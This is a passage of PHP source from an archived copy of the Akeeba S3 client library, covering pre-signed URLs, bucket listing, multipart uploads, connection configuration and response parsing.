		 *
		 * Authenticated (pre-signed) URLs are always made against the generic S3 region endpoint, not the bucket's
		 * virtual-hosting-style domain name. The bucket is always the first component of the path.
		 *
		 * For example, given a bucket called foobar, and an object baz.txt in it, we are pre-signing the URL
		 * https://s3-eu-west-1.amazonaws.com/foobar/baz.txt, not
		 * https://foobar.s3-eu-west-1.amazonaws.com/foobar/baz.txt (as we'd be doing with v2 signatures).
		 *
		 * The problem is that the Request object needs to be created before we can convey the intent (regular request
		 * or generation of a pre-signed URL). As a result its constructor creates the (immutable) request URI solely
		 * based on whether the Configuration object's getUseLegacyPathStyle() returns false or not.
		 *
		 * Since we want to request URI to contain the bucket name we need to tell the Request object's constructor that
		 * we are creating a Request object for path-style access, i.e. the useLegacyPathStyle flag in the Configuration
		 * object is true. Naturally, the default behavior being virtual-hosting-style access to buckets, this flag is
		 * most likely **false**.
		 *
		 * Therefore, we need to clone the Configuration object, set the flag to true and create a Request object using
		 * the falsified Configuration object.
		 *
		 * Note that v2 signatures are not affected. In v2 we are always appending the bucket name to the path, despite
		 * the fact that we include the bucket name in the domain name.
		 *
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 * !!!!             DO NOT TOUCH THIS CODE. YOU WILL BREAK PRE-SIGNED URLS WITH v4 SIGNATURES.              !!!!
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 */
		$newConfig = clone $this->configuration;
		$newConfig->setUseLegacyPathStyle(true);

		// Create the request object.
		$request = new Request('GET', $bucket, $uri, $newConfig);

		if ($query)
		{
			parse_str($query, $parameters);

			if (count($parameters))
			{
				foreach ($parameters as $k => $v)
				{
					$request->setParameter($k, $v);
				}
			}
		}

		// Get the signed URI from the Request object
		return $request->getAuthenticatedURL($lifetime, $https);
	}

	/**
	 * Get the location (region) of a bucket. You need this to use the V4 API on that bucket!
	 *
	 * @param   string  $bucket  Bucket name
	 *
	 * @return  string
	 */
	public function getBucketLocation(string $bucket): string
	{
		$request = new Request('GET', $bucket, '', $this->configuration);
		$request->setParameter('location', null);

		$response = $request->getResponse();

		if (!$response->error->isError() && $response->code !== 200)
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotGetBucket(
				sprintf(__METHOD__ . "(): [%s] %s", $response->error->getCode(), $response->error->getMessage())
			);
		}

		$result = 'us-east-1';

		if ($response->hasBody())
		{
			$result = (string) $response->body;
		}

		switch ($result)
		{
			// "EU" is an alias for 'eu-west-1', however the canonical location name you MUST use is 'eu-west-1'
			case 'EU':
			case 'eu':
				$result = 'eu-west-1';
				break;

			// If the bucket location is 'us-east-1' you get an empty string. @#$%^&*()!!
			case '':
				$result = 'us-east-1';
				break;
		}

		return $result;
	}

	/**
	 * Get the contents of a bucket
	 *
	 * If maxKeys is null this method will loop through truncated result sets
	 *
	 * @param   string       $bucket                Bucket name
	 * @param   string|null  $prefix                Prefix (directory)
	 * @param   string|null  $marker                Marker (last file listed)
	 * @param   int|null     $maxKeys               Maximum number of keys ("files" and "directories") to return
	 * @param   string       $delimiter             Delimiter, typically "/"
	 * @param   bool         $returnCommonPrefixes  Set to true to return CommonPrefixes
	 *
	 * @return  array
	 */
	public function getBucket(string $bucket, ?string $prefix = null, ?string $marker = null, ?int $maxKeys = null, string $delimiter = '/', bool $returnCommonPrefixes = false): array
	{
		$internalResult = $this->internalGetBucket($bucket, $prefix, $marker, $maxKeys, $delimiter, $returnCommonPrefixes);

		/**
		 * @var array   $objects
		 * @var ?string $nextMarker
		 */
		extract($internalResult);
		unset($internalResult);

		// Loop through truncated results if maxKeys isn't specified or we don't have enough object records yet.
		if ($nextMarker !== null && ($maxKeys === null || count($objects) < $maxKeys))
		{
			do
			{
				$internalResult = $this->internalGetBucket($bucket, $prefix, $nextMarker, $maxKeys, $delimiter, $returnCommonPrefixes);

				$nextMarker = $internalResult['nextMarker'];
				$objects    = array_merge($objects, $internalResult['objects']);

				unset($internalResult);

				// If the last call did not return a nextMarker I am done iterating.
				if ($nextMarker === null)
				{
					break;
				}

				// If we have maxKeys AND the number of objects is at least this many I am done iterating.
				if ($maxKeys !== null && count($objects) >= $maxKeys)
				{
					break;
				}
			} while (true);
		}

		if ($maxKeys !== null)
		{
			return array_splice($objects, 0, $maxKeys);
		}

		return $objects;
	}

	/**
	 * Get a list of buckets
	 *
	 * @param   bool  $detailed  Returns detailed bucket list when true
	 *
	 * @return  array
	 */
	public function listBuckets(bool $detailed = false): array
	{
		// When listing buckets with the AWSv4 signature method we MUST set the region to us-east-1. Don't ask...
		$configuration = clone $this->configuration;
		$configuration->setRegion('us-east-1');

		$request  = new Request('GET', '', '', $configuration);
		$response = $request->getResponse();

		if (!$response->error->isError() && (($response->code !== 200)))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotListBuckets(
				sprintf(__METHOD__ . "(): [%s] %s", $response->error->getCode(), $response->error->getMessage())
			);
		}

		$results = [];

		if (!isset($response->body->Buckets))
		{
			return $results;
		}

		if ($detailed)
		{
			if (isset($response->body->Owner, $response->body->Owner->ID, $response->body->Owner->DisplayName))
			{
				$results['owner'] = [
					'id'   => (string) $response->body->Owner->ID,
					'name' => (string) $response->body->Owner->DisplayName,
				];
			}

			$results['buckets'] = [];

			foreach ($response->body->Buckets->Bucket as $b)
			{
				$results['buckets'][] = [
					'name' => (string) $b->Name,
					'time' => strtotime((string) $b->CreationDate),
				];
			}
		}
		else
		{
			foreach ($response->body->Buckets->Bucket as $b)
			{
				$results[] = (string) $b->Name;
			}
		}

		return $results;
	}

	/**
	 * Start a multipart upload of an object
	 *
	 * @param   Input   $input           Input data
	 * @param   string  $bucket          Bucket name
	 * @param   string  $uri             Object URI
	 * @param   string  $acl             ACL constant
	 * @param   array   $requestHeaders  Array of request headers
	 *
	 * @return  string  The upload session ID (UploadId)
	 */
	public function startMultipart(Input $input, string $bucket, string $uri, string $acl = Acl::ACL_PRIVATE, array $requestHeaders = []): string
	{
		$request = new Request('POST', $bucket, $uri, $this->configuration);
		$request->setParameter('uploads', '');

		// Custom request headers (Content-Type, Content-Disposition, Content-Encoding)
		if (is_array($requestHeaders))
		{
			foreach ($requestHeaders as $h => $v)
			{
				if (strtolower(substr($h, 0, 6)) == 'x-amz-')
				{
					$request->setAmzHeader(strtolower($h), $v);
				}
				else
				{
					$request->setHeader($h, $v);
				}
			}
		}

		$request->setAmzHeader('x-amz-acl', $acl);

		if (isset($requestHeaders['Content-Type']))
		{
			$input->setType($requestHeaders['Content-Type']);
		}

		$request->setHeader('Content-Type', $input->getType());

		$response = $request->getResponse();

		if (!$response->error->isError() && ($response->code !== 200))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotPutFile(
				sprintf(
					__METHOD__ . "(): [%s] %s\n\nDebug info:\n%s",
					$response->error->getCode(),
					$response->error->getMessage(),
					print_r($response->body, true)
				)
			);
		}

		return (string) $response->body->UploadId;
	}

	/**
	 * Uploads a part of a multipart object upload
	 *
	 * @param   Input   $input           Input data. You MUST specify the UploadID and PartNumber
	 * @param   string  $bucket          Bucket name
	 * @param   string  $uri             Object URI
	 * @param   array   $requestHeaders  Array of request headers or content type as a string
	 * @param   int     $chunkSize       Size of each upload chunk, in bytes. It cannot be less than 5242880 bytes (5Mb)
	 *
	 * @return  null|string  The ETag of the upload part of null if we have ran out of parts to upload
	 */
	public function uploadMultipart(Input $input, string $bucket, string $uri, array $requestHeaders = [], int $chunkSize = 5242880): ?string
	{
		if ($chunkSize < 5242880)
		{
			$chunkSize = 5242880;
		}

		// We need a valid UploadID and PartNumber
		$UploadID   = $input->getUploadID();
		$PartNumber = $input->getPartNumber();

		if (empty($UploadID))
		{
			throw new CannotPutFile(
				__METHOD__ . '(): No UploadID specified'
			);
		}

		if (empty($PartNumber))
		{
			throw new CannotPutFile(
				__METHOD__ . '(): No PartNumber specified'
			);
		}

		//$UploadID   = urlencode($UploadID);
		$PartNumber = (int) $PartNumber;

		$request = new Request('PUT', $bucket, $uri, $this->configuration);
		$request->setParameter('partNumber', $PartNumber);
		$request->setParameter('uploadId', $UploadID);
		$request->setInput($input);

		// Full data length
		$totalSize = $input->getSize();

		// No Content-Type for multipart uploads
		$input->setType(null);

		// Calculate part offset
		$partOffset = $chunkSize * ($PartNumber - 1);

		if ($partOffset > $totalSize)
		{
			// This is to signify that we ran out of parts ;)
			return null;
		}

		// How many parts are there?
		$totalParts = floor($totalSize / $chunkSize);

		if ($totalParts * $chunkSize < $totalSize)
		{
			$totalParts++;
		}

		// Calculate Content-Length
		$size = $chunkSize;

		if ($PartNumber >= $totalParts)
		{
			$size = $totalSize - ($PartNumber - 1) * $chunkSize;
		}

		if ($size <= 0)
		{
			// This is to signify that we ran out of parts ;)
			return null;
		}

		$input->setSize($size);

		switch ($input->getInputType())
		{
			case Input::INPUT_DATA:
				$input->setData(substr($input->getData(), ($PartNumber - 1) * $chunkSize, $input->getSize()));
				break;

			case Input::INPUT_FILE:
			case Input::INPUT_RESOURCE:
				$fp = $input->getFp();
				fseek($fp, ($PartNumber - 1) * $chunkSize);
				break;
		}

		// Custom request headers (Content-Type, Content-Disposition, Content-Encoding)
		if (is_array($requestHeaders))
		{
			foreach ($requestHeaders as $h => $v)
			{
				if (strtolower(substr($h, 0, 6)) == 'x-amz-')
				{
					$request->setAmzHeader(strtolower($h), $v);
				}
				else
				{
					$request->setHeader($h, $v);
				}
			}
		}

		$request->setHeader('Content-Length', $input->getSize());

		if ($input->getInputType() === Input::INPUT_DATA)
		{
			$request->setHeader('Content-Type', "application/x-www-form-urlencoded");
		}

		$response = $request->getResponse();

		if ($response->code !== 200)
		{
			if (!$response->error->isError())
			{
				$response->error = new Error(
					$response->code,
					"Unexpected HTTP status {$response->code}"
				);
			}

			if (is_object($response->body) && ($response->body instanceof \SimpleXMLElement) && (strpos($input->getSize(), ',') === false))
			{
				// For some moronic reason, trying to multipart upload files on some hosts comes back with a crazy
				// error from Amazon that we need to set Content-Length:5242880,5242880 instead of
				// Content-Length:5242880 which is AGAINST Amazon's documentation. In this case we pass the header
				// 'workaround-broken-content-length' and retry. Whatever.
				if (isset($response->body->CanonicalRequest))
				{
					$amazonsCanonicalRequest = (string) $response->body->CanonicalRequest;
					$lines                   = explode("\n", $amazonsCanonicalRequest);

					foreach ($lines as $line)
					{
						if (substr($line, 0, 15) != 'content-length:')
						{
							continue;
						}

						[$junk, $stupidAmazonDefinedContentLength] = explode(":", $line);

						if (strpos($stupidAmazonDefinedContentLength, ',') !== false)
						{
							if (!isset($requestHeaders['workaround-broken-content-length']))
							{
								$requestHeaders['workaround-broken-content-length'] = true;

								// This is required to reset the input size to its default value. If you don't do that
								// only one part will ever be uploaded. Oops!
								$input->setSize(-1);

								return $this->uploadMultipart($input, $bucket, $uri, $requestHeaders, $chunkSize);
							}
						}
					}
				}

			}

			throw new CannotPutFile(
				sprintf(__METHOD__ . "(): [%s] %s\n\nDebug info:\n%s", $response->error->getCode(), $response->error->getMessage(), print_r($response->body, true))
			);
		}

		// Return the ETag header
		return $response->headers['hash'];
	}

	/**
	 * Finalizes the multi-part upload. The $input object should contain two keys, etags an array of ETags of the
	 * uploaded parts and UploadID the multipart upload ID.
	 *
	 * @param   Input   $input   The array of input elements
	 * @param   string  $bucket  The bucket where the object is being stored
	 * @param   string  $uri     The key (path) to the object
	 *
	 * @return  void
	 */
	public function finalizeMultipart(Input $input, string $bucket, string $uri): void
	{
		$etags    = $input->getEtags();
		$UploadID = $input->getUploadID();

		if (empty($etags))
		{
			throw new CannotPutFile(
				__METHOD__ . '(): No ETags array specified'
			);
		}

		if (empty($UploadID))
		{
			throw new CannotPutFile(
				__METHOD__ . '(): No UploadID specified'
			);
		}

		// Create the message
		$message = "<CompleteMultipartUpload>\n";
		$part    = 0;

		foreach ($etags as $etag)
		{
			$part++;
			$message .= "\t<Part>\n\t\t<PartNumber>$part</PartNumber>\n\t\t<ETag>\"$etag\"</ETag>\n\t</Part>\n";
		}

		$message .= "</CompleteMultipartUpload>";

		// Get a request query
		$reqInput = Input::createFromData($message);

		$request = new Request('POST', $bucket, $uri, $this->configuration);
		$request->setParameter('uploadId', $UploadID);
		$request->setInput($reqInput);

		// Do post
		$request->setHeader('Content-Type', 'application/xml'); // Even though the Amazon API doc doesn't mention it, it's required... :(
		$response = $request->getResponse();

		if (!$response->error->isError() && ($response->code != 200))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			if ($response->error->getCode() == 'RequestTimeout')
			{
				return;
			}

			throw new CannotPutFile(
				sprintf(__METHOD__ . "(): [%s] %s\n\nDebug info:\n%s", $response->error->getCode(), $response->error->getMessage(), print_r($response->body, true))
			);
		}
	}

	/**
	 * Returns the configuration object
	 *
	 * @return  Configuration
	 */
	public function getConfiguration(): Configuration
	{
		return $this->configuration;
	}

	private function internalGetBucket(string $bucket, ?string $prefix = null, ?string $marker = null, ?int $maxKeys = null, string $delimiter = '/', bool $returnCommonPrefixes = false): array
	{
		$request = new Request('GET', $bucket, '', $this->configuration);

		if (!empty($prefix))
		{
			$request->setParameter('prefix', $prefix);
		}

		if (!empty($marker))
		{
			$request->setParameter('marker', $marker);
		}

		if (!empty($maxKeys))
		{
			$request->setParameter('max-keys', $maxKeys);
		}

		if (!empty($delimiter))
		{
			$request->setParameter('delimiter', $delimiter);
		}

		$response = $request->getResponse();

		if (!$response->error->isError() && $response->code !== 200)
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotGetBucket(
				sprintf(__METHOD__ . "(): [%s] %s", $response->error->getCode(), $response->error->getMessage())
			);
		}

		$results = [
			'objects'    => [],
			'nextMarker' => null,
		];

		if ($response->hasBody() && isset($response->body->Contents))
		{
			foreach ($response->body->Contents as $c)
			{
				$results['objects'][(string) $c->Key] = [
					'name' => (string) $c->Key,
					'time' => strtotime((string) $c->LastModified),
					'size' => (int) $c->Size,
					'hash' => substr((string) $c->ETag, 1, -1),
				];

				$results['nextMarker'] = (string) $c->Key;
			}
		}

		if ($returnCommonPrefixes && $response->hasBody() && isset($response->body->CommonPrefixes))
		{
			foreach ($response->body->CommonPrefixes as $c)
			{
				$results['objects'][(string) $c->Prefix] = ['prefix' => (string) $c->Prefix];
			}
		}

		if ($response->hasBody() && isset($response->body->IsTruncated) &&
			((string) $response->body->IsTruncated == 'false')
		)
		{
			$results['nextMarker'] = null;

			return $results;
		}

		if ($response->hasBody() && isset($response->body->NextMarker))
		{
			$results['nextMarker'] = (string) $response->body->NextMarker;
		}

		return $results;
	}
}
PK     \X(  (  &  vendor/akeeba/s3/src/Configuration.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Holds the Amazon S3 confiugration credentials
 */
class Configuration
{
	/**
	 * Access Key
	 *
	 * @var  string
	 */
	protected $access = '';

	/**
	 * Secret Key
	 *
	 * @var  string
	 */
	protected $secret = '';

	/**
	 * Security token. This is only required with temporary credentials provisioned by an EC2 instance.
	 *
	 * @var  string
	 */
	protected $token = '';

	/**
	 * Signature calculation method ('v2' or 'v4')
	 *
	 * @var  string
	 */
	protected $signatureMethod = 'v2';

	/**
	 * AWS region, used for v4 signatures
	 *
	 * @var  string
	 */
	protected $region = 'us-east-1';

	/**
	 * Should I use SSL (HTTPS) to communicate to Amazon S3?
	 *
	 * @var  bool
	 */
	protected $useSSL = true;

	/**
	 * Should I use SSL (HTTPS) to communicate to Amazon S3?
	 *
	 * @var  bool
	 */
	protected $useDualstackUrl = false;

	/**
	 * Should I use legacy, path-style access to the bucket? When it's turned off (default) we use virtual hosting style
	 * paths which are RECOMMENDED BY AMAZON per http://docs.aws.amazon.com/AmazonS3/latest/API/APIRest.html
	 *
	 * @var  bool
	 */
	protected $useLegacyPathStyle = false;

	/**
	 * Amazon S3 endpoint. You can use a custom endpoint with v2 signatures to access third party services which offer
	 * S3 compatibility, e.g. OwnCloud, Google Storage etc.
	 *
	 * @var  string
	 */
	protected $endpoint = 's3.amazonaws.com';

	/**
	 * Should I use an alternative date header format (D, d M Y H:i:s T instead of D, d M Y H:i:s O) for non-Amazon,
	 * S3-compatible services?
	 *
	 * This is enabled by default.
	 *
	 * @var  bool
	 */
	protected $alternateDateHeaderFormat = true;

	/**
	 * Should I use the standard HTTP Date header instead of the X-Amz-Date header?
	 *
	 * @var  bool
	 */
	protected $useHTTPDateHeader = false;

	/**
	 * Should pre-signed URLs include the bucket name in the URL? Only applies to v4 signatures.
	 *
	 * Amazon S3 and most implementations need this turned off (default). LocalStack seems to not work properly with the
	 * bucket name as a subdomain, hence the need for this flag.
	 *
	 * @var  bool
	 */
	protected $preSignedBucketInURL = false;

	/**
	 * Public constructor
	 *
	 * @param   string  $access           Amazon S3 Access Key
	 * @param   string  $secret           Amazon S3 Secret Key
	 * @param   string  $signatureMethod  Signature method (v2 or v4)
	 * @param   string  $region           Region, only required for v4 signatures
	 */
	function __construct(string $access, string $secret, string $signatureMethod = 'v2', string $region = '')
	{
		$this->setAccess($access);
		$this->setSecret($secret);
		$this->setSignatureMethod($signatureMethod);
		$this->setRegion($region);
	}

	/**
	 * Get the Amazon access key
	 *
	 * @return  string
	 */
	public function getAccess(): string
	{
		return $this->access;
	}

	/**
	 * Set the Amazon access key
	 *
	 * @param   string  $access  The access key to set
	 *
	 * @throws  Exception\InvalidAccessKey
	 */
	public function setAccess(string $access): void
	{
		if (empty($access))
		{
			throw new Exception\InvalidAccessKey;
		}

		$this->access = $access;
	}

	/**
	 * Get the Amazon secret key
	 *
	 * @return string
	 */
	public function getSecret(): string
	{
		return $this->secret;
	}

	/**
	 * Set the Amazon secret key
	 *
	 * @param   string  $secret  The secret key to set
	 *
	 * @throws  Exception\InvalidSecretKey
	 */
	public function setSecret(string $secret): void
	{
		if (empty($secret))
		{
			throw new Exception\InvalidSecretKey;
		}

		$this->secret = $secret;
	}

	/**
	 * Return the security token. Only for temporary credentials provisioned through an EC2 instance.
	 *
	 * @return  string
	 */
	public function getToken(): string
	{
		return $this->token;
	}

	/**
	 * Set the security token. Only for temporary credentials provisioned through an EC2 instance.
	 *
	 * @param   string  $token
	 */
	public function setToken(string $token): void
	{
		$this->token = $token;
	}

	/**
	 * Get the signature method to use
	 *
	 * @return  string
	 */
	public function getSignatureMethod(): string
	{
		return $this->signatureMethod;
	}

	/**
	 * Set the signature method to use
	 *
	 * @param   string  $signatureMethod  One of v2 or v4
	 *
	 * @throws  Exception\InvalidSignatureMethod
	 */
	public function setSignatureMethod(string $signatureMethod): void
	{
		$signatureMethod = strtolower($signatureMethod);
		$signatureMethod = trim($signatureMethod);

		if (!in_array($signatureMethod, ['v2', 'v4']))
		{
			throw new Exception\InvalidSignatureMethod;
		}

		$this->signatureMethod = $signatureMethod;

		// If you switch to v2 signatures we unset the region.
		if ($signatureMethod == 'v2')
		{
			$this->setRegion('');

			/**
			 * If we are using Amazon S3 proper (not a custom endpoint) we have to set path style access to false.
			 * Amazon S3 does not support v2 signatures with path style access at all (it returns an error telling
			 * us to use the virtual hosting endpoint BUCKETNAME.s3.amazonaws.com).
			 */
			if (strpos($this->endpoint, 'amazonaws.com') !== false)
			{
				$this->setUseLegacyPathStyle(false);
			}

		}
	}

	/**
	 * Get the Amazon S3 region
	 *
	 * @return  string
	 */
	public function getRegion(): string
	{
		return $this->region;
	}

	/**
	 * Set the Amazon S3 region
	 *
	 * @param   string  $region
	 */
	public function setRegion(string $region): void
	{
		/**
		 * You can only leave the region empty if you're using v2 signatures. Anything else gets you an exception.
		 */
		if (empty($region) && ($this->signatureMethod == 'v4'))
		{
			throw new Exception\InvalidRegion;
		}

		/**
		 * Setting a Chinese-looking region force-changes the endpoint but ONLY if you were using the original Amazon S3
		 * endpoint. If you're using a custom endpoint and provide a region with 'cn-' in its name we don't override
		 * your custom endpoint.
		 */
		if (($this->endpoint == 's3.amazonaws.com') && (substr($region, 0, 3) == 'cn-'))
		{
			$this->setEndpoint('amazonaws.com.cn');
		}

		$this->region = $region;
	}

	/**
	 * Is the connection to be made over HTTPS?
	 *
	 * @return  bool
	 */
	public function isSSL(): bool
	{
		return $this->useSSL;
	}

	/**
	 * Set the connection SSL preference
	 *
	 * @param   bool  $useSSL  True to use HTTPS
	 */
	public function setSSL(bool $useSSL): void
	{
		$this->useSSL = $useSSL ? true : false;
	}

	/**
	 * Get the Amazon S3 endpoint
	 *
	 * @return  string
	 */
	public function getEndpoint(): string
	{
		return $this->endpoint;
	}

	/**
	 * Set the Amazon S3 endpoint. Do NOT use a protocol
	 *
	 * @param   string  $endpoint  Custom endpoint, e.g. 's3.example.com' or 'www.example.com/s3api'
	 */
	public function setEndpoint(string $endpoint): void
	{
		if (stristr($endpoint, '://'))
		{
			throw new Exception\InvalidEndpoint;
		}

		/**
		 * If you set a custom endpoint we have to switch to v2 signatures since our v4 implementation only supports
		 * Amazon endpoints.
		 */
		if ((strpos($endpoint, 'amazonaws.com') === false))
		{
			$this->setSignatureMethod('v2');
		}

		$this->endpoint = $endpoint;
	}

	/**
	 * Should I use legacy, path-style access to the bucket? You should only use it with custom endpoints. Amazon itself
	 * is currently deprecating support for path-style access but has extended the migration date to an unknown
	 * time https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/
	 *
	 * @return  bool
	 */
	public function getUseLegacyPathStyle(): bool
	{
		return $this->useLegacyPathStyle;
	}

	/**
	 * Set the flag for using legacy, path-style access to the bucket
	 *
	 * @param   bool  $useLegacyPathStyle
	 */
	public function setUseLegacyPathStyle(bool $useLegacyPathStyle): void
	{
		$this->useLegacyPathStyle = $useLegacyPathStyle;

		/**
		 * If we are using Amazon S3 proper (not a custom endpoint) we have to set path style access to false.
		 * Amazon S3 does not support v2 signatures with path style access at all (it returns an error telling
		 * us to use the virtual hosting endpoint BUCKETNAME.s3.amazonaws.com).
		 */
		if ((strpos($this->endpoint, 'amazonaws.com') !== false) && ($this->signatureMethod == 'v2'))
		{
			$this->useLegacyPathStyle = false;
		}
	}

	/**
	 * Should we use the dualstack URL (which will ship traffic over ipv6 in most cases). For more information on these
	 * endpoints please read https://docs.aws.amazon.com/AmazonS3/latest/dev/dual-stack-endpoints.html
	 *
	 * @return  bool
	 */
	public function getDualstackUrl(): bool
	{
		return $this->useDualstackUrl;
	}

	/**
	 * Set the flag for using legacy, path-style access to the bucket
	 *
	 * @param   bool  $useDualstackUrl
	 */
	public function setUseDualstackUrl(bool $useDualstackUrl): void
	{
		$this->useDualstackUrl = $useDualstackUrl;
	}

	/**
	 * Get the flag for using an alternate date format for non-Amazon, S3-compatible services.
	 *
	 * @return bool
	 */
	public function getAlternateDateHeaderFormat(): bool
	{
		return $this->alternateDateHeaderFormat;
	}

	/**
	 * Set the flag for using an alternate date format for non-Amazon, S3-compatible services.
	 *
	 * @param   bool  $alternateDateHeaderFormat
	 *
	 * @return  void
	 */
	public function setAlternateDateHeaderFormat(bool $alternateDateHeaderFormat): void
	{
		$this->alternateDateHeaderFormat = $alternateDateHeaderFormat;
	}

	/**
	 * Get the flag indicating whether to use the HTTP Date header
	 *
	 * @return  bool  Flag indicating whether to use the HTTP Date header
	 */
	public function getUseHTTPDateHeader(): bool
	{
		return $this->useHTTPDateHeader;
	}

	/**
	 * Set the flag indicating whether to use the HTTP Date header.
	 *
	 * @param   bool  $useHTTPDateHeader  Whether to use the HTTP Date header
	 *
	 * @return  void
	 */
	public function setUseHTTPDateHeader(bool $useHTTPDateHeader): void
	{
		$this->useHTTPDateHeader = $useHTTPDateHeader;
	}

	public function getPreSignedBucketInURL(): bool
	{
		return $this->preSignedBucketInURL;
	}

	public function setPreSignedBucketInURL(bool $preSignedBucketInURL): void
	{
		$this->preSignedBucketInURL = $preSignedBucketInURL;
	}
}
PK     \j.    !  vendor/akeeba/s3/src/Response.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

use Akeeba\S3\Exception\PropertyNotFound;
use Akeeba\S3\Response\Error;
use SimpleXMLElement;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Amazon S3 API response object
 *
 * @property   Error                        $error    Response error object
 * @property   string|SimpleXMLElement|null $body     Body data
 * @property   int                          $code     Response code
 * @property   array                        $headers  Any headers we may have
 */
class Response
{
	/**
	 * Error object
	 *
	 * @var  Error
	 */
	private $error = null;

	/**
	 * Response body
	 *
	 * @var  string|SimpleXMLElement|null
	 */
	private $body = null;

	/**
	 * Status code of the response, e.g. 200 for OK, 403 for Forbidden etc
	 *
	 * @var  int
	 */
	private $code = 0;

	/**
	 * Response headers
	 *
	 * @var  array
	 */
	private $headers = [];

	/**
	 * Response constructor.
	 */
	public function __construct()
	{
		$this->error = new Error();
	}

	/**
	 * Is this an error response?
	 *
	 * @return  bool
	 */
	public function isError(): bool
	{
		return is_null($this->error) || $this->error->isError();
	}

	/**
	 * Does this response have a body?
	 *
	 * @return  bool
	 */
	public function hasBody(): bool
	{
		return !empty($this->body);
	}

	/**
	 * Get the response error object
	 *
	 * @return  Error
	 */
	public function getError(): Error
	{
		return $this->error;
	}

	/**
	 * Set the response error object
	 *
	 * @param   Error  $error
	 */
	public function setError(Error $error): void
	{
		$this->error = $error;
	}

	/**
	 * Get the response body
	 *
	 * If there is no body set up you get NULL.
	 *
	 * If the body is binary data (e.g. downloading a file) or other non-XML data you get a string.
	 *
	 * If the body was an XML string – the standard Amazon S3 REST API response type – you get a SimpleXMLElement
	 * object.
	 *
	 * @return string|SimpleXMLElement|null
	 */
	public function getBody()
	{
		return $this->body;
	}

	/**
	 * Set the response body. If it's a string we'll try to parse it as XML.
	 *
	 * @param   string|SimpleXMLElement|null  $body
	 */
	public function setBody($body, bool $rawResponse = false): void
	{
		$this->body = null;

		if (empty($body))
		{
			return;
		}

		$this->body = $body;

		$this->finaliseBody($rawResponse);
	}

	public function resetBody(): void
	{
		$this->body = null;
	}

	public function addToBody(string $data): void
	{
		if (empty($this->body))
		{
			$this->body = '';
		}

		$this->body .= $data;
	}

	public function finaliseBody(bool $rawResponse = false): void
	{
		if (!$this->hasBody())
		{
			return;
		}

		if (!isset($this->headers['type']))
		{
			$this->headers['type'] = 'text/plain';
		}

		if (
			!$rawResponse
			&& is_string($this->body)
			&&
			(
				($this->headers['type'] == 'application/xml')
				|| (substr($this->body, 0, 5) == '<?xml')
			)
		)
		{
			$this->body = simplexml_load_string($this->body);
		}

		if (is_object($this->body) && ($this->body instanceof SimpleXMLElement))
		{
			$this->parseBody();
		}
	}

	/**
	 * Returns the status code of the response
	 *
	 * @return  int
	 */
	public function getCode(): int
	{
		return $this->code;
	}

	/**
	 * Sets the status code of the response
	 *
	 * @param   int  $code
	 */
	public function setCode(int $code): void
	{
		$this->code = $code;
	}

	/**
	 * Get the response headers
	 *
	 * @return  array
	 */
	public function getHeaders(): array
	{
		return $this->headers;
	}

	/**
	 * Set the response headers
	 *
	 * @param   array  $headers
	 */
	public function setHeaders(array $headers): void
	{
		$this->headers = $headers;
	}

	/**
	 * Set a single header
	 *
	 * @param   string  $name   The header name
	 * @param   string  $value  The header value
	 *
	 * @return  void
	 */
	public function setHeader(string $name, string $value): void
	{
		$this->headers[$name] = $value;
	}

	/**
	 * Does a header by this name exist?
	 *
	 * @param   string  $name  The header to look for
	 *
	 * @return  bool  True if it exists
	 */
	public function hasHeader(string $name): bool
	{
		return array_key_exists($name, $this->headers);
	}

	/**
	 * Unset a response header
	 *
	 * @param   string  $name  The header to unset
	 *
	 * @return  void
	 */
	public function unsetHeader(string $name): void
	{
		if ($this->hasHeader($name))
		{
			unset ($this->headers[$name]);
		}
	}

	/**
	 * Magic getter for the protected properties
	 *
	 * @param   string  $name
	 *
	 * @return  mixed
	 */
	public function __get(string $name)
	{
		switch ($name)
		{
			case 'error':
				return $this->getError();
				break;

			case 'body':
				return $this->getBody();
				break;

			case 'code':
				return $this->getCode();
				break;

			case 'headers':
				return $this->getHeaders();
				break;
		}

		throw new PropertyNotFound("Property $name not found in " . get_class($this));
	}

	/**
	 * Magic setter for the protected properties
	 *
	 * @param   string  $name   The name of the property
	 * @param   mixed   $value  The value of the property
	 *
	 * @return  void
	 */
	public function __set(string $name, $value): void
	{
		switch ($name)
		{
			case 'error':
				$this->setError($value);
				break;

			case 'body':
				$this->setBody($value);
				break;

			case 'code':
				$this->setCode($value);
				break;

			case 'headers':
				$this->setHeaders($value);
				break;

			default:
				throw new PropertyNotFound("Property $name not found in " . get_class($this));
		}
	}

	/**
	 * Scans the SimpleXMLElement body for errors and propagates them to the Error object
	 */
	protected function parseBody(): void
	{
		if (!in_array($this->code, [200, 204]) &&
			isset($this->body->Code, $this->body->Message)
		)
		{
			$this->error = new Error(
				500,
				(string) $this->body->Code . ':' . (string) $this->body->Message
			);

			if (isset($this->body->Resource))
			{
